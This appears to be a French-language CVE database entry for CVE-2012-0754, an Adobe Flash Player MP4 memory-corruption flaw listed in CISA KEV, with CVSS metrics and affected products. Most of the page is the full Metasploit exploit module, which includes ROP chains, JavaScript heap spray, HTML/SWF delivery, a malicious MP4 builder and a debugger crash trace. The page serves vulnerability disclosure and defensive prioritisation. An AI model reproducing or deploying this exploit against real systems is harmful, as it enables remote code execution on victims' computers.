Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-787 |
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
8.1 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Adobe Flash Player Memory Corruption Vulnerability
Action requise : The impacted product is end-of-life and should be disconnected if still in use.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-06-07 22h00 +00:00
Action attendue : 2022-06-21 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 18572
Date de publication : 2012-03-07 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player.
By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
remote code execution under the context of the user.
This vulnerability has been exploited in the wild as part of the
"Iran's Oil and Nuclear Situation.doc" e-mail attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0754' ],
[ 'OSVDB', '79300'],
[ 'BID', '52034' ],
[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
],
'Payload' =>
{
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Flash Player 11.1.102.55
# Flash Player 10.3.183.10
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x600', 'Ret' => 0x0c0c0c0c } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 15 2012",
'DefaultTarget' => 0))
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def nop
return make_nops(4).unpack("V").first
end
def get_payload(t)
if t['Rop'].nil?
code = ""
else
code = "\xbc\x0c\x0c\x0c\x0c" #Fix the stack to avoid a busted encoder
end
code << payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000800, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
pivot = [0x77C1CAFB].pack('V*') #POP/POP/RET
pivot << [junk].pack('V*')
pivot << [t.ret].pack('V*')
code = pivot + rop + code
return code
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[5] #IE 7 on Windows Vista
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} Browser not supported, will not launch attack: #{agent.to_s}")
send_not_found(cli)
return
end
print_status("#{cli.peerhost}:#{cli.peerport} Client requesting: #{request.uri}")
# The SWF requests our MP4 trigger
if request.uri =~ /\.mp4$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending MP4...")
mp4 = create_mp4(my_target)
send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
return
end
if request.uri =~ /\.swf$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending Exploit SWF...")
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
p = get_payload(my_target)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
heap_obj.debug(true);
for (var i=1; i < 0x1C2; i++) {
heap_obj.alloc(block);
}
heap_obj.debug(true);
JS
js_pivot = heaplib(js_pivot, {:noobfu => true})
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
swf_uri << "/Exploit.swf"
print_status("#{cli.peerhost}:#{cli.peerport} #{swf_uri}")
html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
#
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
#
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
print_status("#{cli.peerhost}:#{cli.peerport} Sending html...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def cleanup
remove_resource('/test.mp4') rescue nil
super
end
def exploit
@swf = create_swf
super
end
def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def create_mp4(target)
mp4 = ""
mp4 << "\x00\x00\x00\x18"
mp4 << "ftypmp42"
mp4 << "\x00\x00\x00\x00"
mp4 << "mp42isom"
mp4 << "\x00\x00\x00\x0D"
mp4 << "cprt"
mp4 << "\x00\xFF\xFF\xFF"
mp4 << "\x00\x00\x00\x00"
mp4 << "\x0c\x0c\x0c\x0c" * 2586
return mp4
end
end
=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx
(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
=end
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (excluding) 10.3.183.15
Adobe>>Flash_player >> Version From (including) 11.0 To (excluding) 11.1.102.62
Apple>>Mac_os_x >> Version -
Linux>>Linux_kernel >> Version -
Microsoft>>Windows >> Version -
Oracle>>Solaris >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (excluding) 11.1.111.6
Google>>Android >> Version From (including) 2.0 To (including) 3.2
Configuraton 0
Adobe>>Flash_player >> Version To (excluding) 11.1.115.6
Google>>Android >> Version 4.0
Références